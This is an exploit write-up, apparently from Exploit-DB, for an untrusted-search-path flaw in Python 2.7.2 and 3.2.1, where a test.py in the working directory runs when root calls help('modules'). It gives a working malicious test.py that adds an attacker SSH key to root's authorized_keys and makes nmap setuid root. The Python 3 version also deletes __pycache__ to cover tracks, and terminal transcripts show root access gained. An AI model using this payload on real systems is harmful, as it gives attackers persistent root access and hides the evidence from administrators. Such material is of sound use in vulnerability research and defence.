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# Exploit Title: Python untrusted search path/code execution vulnerability # Date: 7.6.12 # Exploit Author: rogueclown # Vendor Homepage: http://www.python.org # Software Link: http://www.python.org/getit/releases/ # Version: python 2.7.2 and python 3.2.1 # Tested on: linux (my test machine was OpenSUSE 12.1) # # This is an expansion on www.exploit-db.com/exploits/19523/ -- a big thanks, # and the lion's share of the credit, to ShadowHatesYou (Shadow@SquatThis.net). # They found the vulnerability; i just found a more generalized application # of it. # # Basically, i found that it's not just python-wrapper that executes a test.py # script within the current working directory when help('modules') is run -- # python itself does that.In python 2, it works just as ShadowHatesYou showed # it in his python-wrapper exploit. # # This still works in python 3, but you have to do a bit more to cover your # tracks.In the working directory, python 3 drops a __pycache__ directory # with a .pyc file inside it.Most of the bytecode in there is not human # readable, but it displays the shell command called by the script in # plaintext, making it pretty obvious that something funny happened.However, # you can get around this by making sure that your test.py script removes the # __pycache__ directory from the working directory. # # rogueclown # rogueclown@rogueclown.net # 7.6.12 ############ # PYTHON 2 # ############ adalia@bukkit:~/security/pythonwrapper> ls -hl test.py -rw-r--r-- 1 adalia users 144 Jul4 15:47 test.py adalia@bukkit:~/security/pythonwrapper> cat test.py #!/usr/bin/python import os os.system("/bin/echo $(echo ssh-rsa rogueclown washere >> /root/.ssh/authorized_keys); chmod 4755 /usr/bin/nmap") adalia@bukkit:~/security/pythonwrapper> ls -hl /usr/bin/nmap -rwxr-xr-x 1 root root 1.4M Oct 292011 /usr/bin/nmap adalia@bukkit:~/security/pythonwrapper> su Password: bukkit:/home/adalia/security/pythonwrapper # ls /root/.ssh/authorized_keys ls: cannot access /root/.ssh/authorized_keys: No such file or directory bukkit:/home/adalia/security/pythonwrapper # python Python 2.7.2 (default, Aug 19 2011, 20:41:43) [GCC] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> help('modules') Please wait a moment while I gather a list of all available modules... /usr/lib64/python2.7/site-packages/gobject/constants.py:24: Warning: g_boxed_type_register_static: assertion `g_type_from_name (name) == 0' failed import gobject._gobject /usr/lib64/python2.7/site-packages/twisted/words/im/__init__.py:8: UserWarning: twisted.im will be undergoing a rewrite at some point in the future. warnings.warn("twisted.im will be undergoing a rewrite at some point in the future.") ** Message: pygobject_register_sinkfunc is deprecated (GstObject) Alacarteabc gtkunixprintreadline BaseHTTPServeraifcgziprepr Bastion antigravity hashlib resource BeautifulSoup anydbmheapq rexec BeautifulSoupTestsargparsehmacrfc822 CDROM array hotshot rlcompleter CGIHTTPServer ast hpmudextrobotparser ConfigParserasynchathtmlentitydefsrpm Cookieasyncorehtmllib runpy Cryptoatexithttplib satsolver DLFCN atk httplib2scanext DocXMLRPCServer atomieee1284sched HTMLParseraudiodevihooksscout INbase64imaplib select MimeWriterbdb imghdrserial OpenSSL beakerimp sets PAM binasciiimportlib setuptools PyQt4 binheximputil sgmllib Queue bisectinspect sha SimpleHTTPServerbsddb ioshelve SimpleXMLRPCServerbutterfly itertools shlex SocketServerbz2 jsonshutil StringIOcPickle keyword signal TYPES cProfilelib2to3 simplejson UserDictcStringIO libproxysip UserListcairo libvboxjxpcom site UserStringcalendarlibxml2 smbc VBoxAuthcgi libxml2modsmtpd VBoxAuthSimplecgitb linecache smtplib VBoxDDchunk linuxaudiodev sndhdr VBoxDD2 cmath localesocket VBoxDDU cmd logging spwd VBoxDbg codelouie sqlite3 VBoxGuestControlSvc codecsmacpath sre VBoxGuestPropSvccodeopmacurl2path sre_compile VBoxHeadlesscoherence mad sre_constants VBoxKeyboardcollections mailbox sre_parse VBoxNetDHCP colorsysmailcap ssl VBoxOGLhostcrutil commandsmakostat VBoxOGLhosterrorspu compileallmarkupbasestatvfs VBoxOGLrenderspucompilermarkupsafestring VBoxPythoncontextlibmarshal stringold VBoxPython2_7 cookielib mathstringprep VBoxREM copymd5 strop VBoxRTcopy_regmhlib struct VBoxSDL crypt mimetools subprocess VBoxSharedClipboard csv mimetypes sunau VBoxSharedCrOpenGLctypesmimifysunaudio VBoxSharedFolders cupsmmapsymbol VBoxVMM cupsext modulefindersymtable VBoxXPCOM cupshelpers multifile sys VBoxXPCOMCcurlmultiprocessing sysconfig VirtualBoxdatetimemutagen syslog Xlibdbhashmutex tabnanny _LWPCookieJar dbusmygpoclient tarfile _MozillaCookieJar dbus_bindings netrc telepathy __builtin__ decimal new telnetlib __future__difflib nis tempfile _abcoll dircachenntplib termios _astdis ntpathtextwrap _bisect distutils nturl2paththis _bsddbdoctest numbers thread _codecs drv_libxml2 numpy threading _codecs_cndsextrasopcodetime _codecs_hkdumbdbm operatortimeit _codecs_iso2022 dummy_threadoptparsetoaiff _codecs_jpdummy_threading ostoken _codecs_kreasy_installos2emxpathtokenize _codecs_twemail ossaudiodev trace _collectionsencodings packagekittraceback _csverrno pango tty _ctypes exceptionspangocairotwisted _ctypes_testeyeD3 papyontypes _dbus_bindingsfcntl parserunicodedata _dbus_glib_bindings feedparserpcardextunittest _elementtreefilecmp pdb uno _functoolsfileinput pickleunohelper _hashlibfnmatch pickletools urlgrabber _heapqformatter pipes urllib _hotshotfpformatpkg_resources urllib2 _io fractions pkgutil urlparse _json ftplibplatformuser _locale functools plistlibuu _lsprof future_builtins popen2uuid _md5gcpoplibvboxapi _multibytecodec gdata posix vboxshell _multiprocessinggenericpath posixfile volkeys _pyio getoptposixpath warnings _random getpass pprintwave _satsolvergettext profile weakref _shagipstatswebbrowser _sha256 gio pty whichdb _sha512 glibpwd wsgiref _socket globpy_compilexdg _sqlite3gmenu pyclbrxdrlib _sregnome_sudokupycurlxml _sslgnomekeyringpydoc xmllib _strptime gobject pydoc_dataxmlrpclib _struct gpodpyexpat xxsubtype _symtable gpodder pygst zeitgeist _testcapi grp pygtk zipfile _threading_localgst pynotifyzipimport _warnings gstoption quoprizlib _weakrefgtk randomzope _weakrefset gtktrayicon re Enter any module name to get more help.Or, type "modules spam" to search for modules whose descriptions contain the word "spam". >>> exit() bukkit:/home/adalia/security/pythonwrapper # ls -hl /usr/bin/nmap -rwsr-xr-x 1 root root 1.4M Oct 292011 /usr/bin/nmap bukkit:/home/adalia/security/pythonwrapper # cat /root/.ssh/authorized_keys ssh-rsa rogueclown washere bukkit:/home/adalia/security/pythonwrapper # ############ # PYTHON 3 # ############ adalia@bukkit:~/security/pythonwrapper> ls -hl test.py -rw-r--r-- 1 adalia users 169 Jul4 15:51 test.py adalia@bukkit:~/security/pythonwrapper> cat test.py #!/usr/bin/python import os os.system("/bin/echo $(echo ssh-rsa rogueclown washere >> /root/.ssh/authorized_keys); chmod 4755 /usr/bin/nmap; /bin/rm -rf __pycache__") adalia@bukkit:~/security/pythonwrapper> ls -hl /usr/bin/nmap -rwxr-xr-x 1 root root 1.4M Oct 292011 /usr/bin/nmap adalia@bukkit:~/security/pythonwrapper> su Password: bukkit:/home/adalia/security/pythonwrapper # ls /root/.ssh/authorized_keys ls: cannot access /root/.ssh/authorized_keys: No such file or directory bukkit:/home/adalia/security/pythonwrapper # python3 Python 3.2.1 (default, Jul 18 2011, 16:24:40) [GCC] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> help('modules') Please wait a moment while I gather a list of all available modules... CDROM binasciiinspect shelve DLFCN binhexioshlex INbisectitertools shutil TYPES builtinsjsonsignal __future__bz2 keyword site _abcoll cProfilelinecache smtpd _astcalendarlocalesmtplib _bisect cgi logging sndhdr _codecs cgitb macpath socket _codecs_cnchunk macurl2path socketserver _codecs_hkcmath mailbox spwd _codecs_iso2022 cmd mailcap sqlite3 _codecs_jpcodemarshal sre_compile _codecs_krcodecsmathsre_constants _codecs_twcodeopmimetypes sre_parse _collectionscollections mmapssl _compat_picklecolorsysmodulefinderstat _csvcompileallmultiprocessing string _ctypes concurrentnetrc stringprep _datetime configparsernis struct _dummy_thread contextlibnntplib subprocess _elementtreecopyntpathsunau _functoolscopyreg nturl2pathsymbol _hashlibcrypt numbers symtable _heapqcsv opcodesys _io ctypesoperatorsysconfig _json datetimeoptparsesyslog _locale decimal ostabnanny _lsprof difflib os2emxpathtarfile _markupbase dis ossaudiodev telnetlib _multibytecodec distutils parsertempfile _multiprocessingdoctest pdb termios _pickle dummy_threading pickletextwrap _posixsubprocessemail pickletools this _pyio encodings pipes threading _random errno pkgutil time _socket fcntl platformtimeit _sqlite3filecmp plistlibtoken _srefileinput poplibtokenize _sslfnmatch posix trace _string formatter posixpath traceback _strptime fractions pprinttty _struct ftplibprofile turtle _symtable functools pstatstypes _thread gcpty unicodedata _threading_localgenericpath pwd unittest _warnings getoptpy_compileurllib _weakrefgetpass pyclbruu _weakrefset gettext pydoc uuid abc globpydoc_datawarnings aifcgrp queue wave antigravity gzipquopriweakref argparsehashlib randomwebbrowser array heapq rewsgiref ast hmacreadlinexdrlib asynchathtmlreprlib xxlimited asyncorehttpresourcexxsubtype atexitimaplib rlcompleter zipfile audioop imghdrrunpy zipimport base64imp sched zlib bdb importlib select Enter any module name to get more help.Or, type "modules spam" to search for modules whose descriptions contain the word "spam". >>> exit() bukkit:/home/adalia/security/pythonwrapper # ls -hl /usr/bin/nmap -rwsr-xr-x 1 root root 1.4M Oct 292011 /usr/bin/nmap bukkit:/home/adalia/security/pythonwrapper # cat /root/.ssh/authorized_keys ssh-rsa rogueclown washere bukkit:/home/adalia/security/pythonwrapper # ls __pycache__ ls: cannot access __pycache__: No such file or directory bukkit:/home/adalia/security/pythonwrapper # |
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